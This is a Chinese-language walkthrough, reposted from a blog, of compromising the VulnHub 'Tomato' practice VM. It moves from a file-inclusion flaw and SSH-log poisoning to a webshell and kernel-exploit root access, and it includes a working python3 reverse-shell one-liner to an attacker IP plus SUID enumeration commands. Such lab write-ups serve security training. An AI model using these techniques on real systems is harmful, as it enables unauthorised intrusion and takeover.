0


VulnHub Tomato

靶场搭建

靶场下载地址:https://download.vulnhub.com/tomato/Tomato.ova

下载下来是zip压缩文件,解压后是.ovf虚拟机压缩文件直接用Vmvare导出就行

打开后把网络模式设置为NAT模式(桥接模式也可以,和kali攻击机保持一致就可以)

启动虚拟机

靶场搭建完毕

渗透测试

由于不知道靶机ip,所以需要扫描NAT的网段

147为kaii,所以158为靶机ip

扫描靶机端口服务开放情况

开放了21端口,存在FTP服务,且为vsftpd 3.0.3

开放了80端口,存在HTTP服务,中间件为Apache 2.4.18

开放了2211端口,存在SSH服务

开放了8888端口,存在HTTP服务,中间件为Nginx 1.10.3

先访问一下WEB

首页为一张图片

搜索一下敏感目录

没有发现什么敏感目录

扩大字典搜索敏感目录和文件

发现/antibot_image/目录

发现info.php为php探针

查看源码发现有一段注释的文件包含的代码

所以猜测存在image参数为包含文件参数

尝试包含/etc/passwd

发现果然存在包含参数,且存在任意文件包含漏洞

找到可以登录的用户tomato

尝试进行ssh登录暴力破解,没有成功

产生过hi包含公私钥文件,发现不存在

在php探针中发现没有开启远程文件包含

所以只能使用其它利用思路,尝试读取源码

发现也无法读取到源码

所以现在利用思路只剩下配合写入的webshell,通过文件包含来获取shell

所以需要查找写入点或者文件上传点

可以尝试通过日志写入

尝试通过WEB日志、SSH日志、FTP日志

WEB日志和FTP日志都尝试失败

通过SSH日志

发现成功包含了SSH的日志

所以我们尝试写入webshell

包含这个文件,发现成功执行命令

利用webshell反弹shell

存在nc,也存在python3

监听端口,执行以下命令反弹shell

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.52.147",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

成功反弹shell

查看所有目录,没有发现其它线索

进行提权

sudo提权

需要密码无法使用

查找看有没有权限配置错误的文件,属于其他用户,但当前用户可以修改执行的文件

find / -type f -user tomato -perm -ug=x,o=w -exec ls -l '{}' \; 2>/dev/null
find / -type f -user root -perm -ug=x,o=w -exec ls -l '{}' \; 2>/dev/null

都没有发现

SUID提权

SUID可以让程序调用者以文件拥有者的身份运行该文件,当我们以一个普通用户去运行一个root用户所有的SUID文件,那么运行该文件我们就可以获取到root权限

通过命令

find / -perm -4000 2>/dev/null查看是否具有root权限的文件

常用可利用的文件

nmap

vim

find

bash

more

less

nano

cp

awk

都不能利用

内核提权

发现存在相应漏洞

查看文件,有用法

上传文件

编译文件,执行文件

发现没有gcc

所以在攻击机上编译好后上传

但是编译失败

再尝试其它漏洞

将利用文档复制下来查看

找到使用方法和下载地址

下载文件,解压

编译,上传文件

发现也需要gcc,所以失败

再尝试其它的

复制下来,查看使用方式

编译后上传

赋予权限,执行

获得到最后一个flag

标签: web安全 安全

本文转载自: https://blog.csdn.net/weixin_45682839/article/details/127557527
版权归原作者 奋斗吧!小胖子 所有, 如有侵权,请联系我们删除。

“VulnHub Tomato”的评论:

还没有评论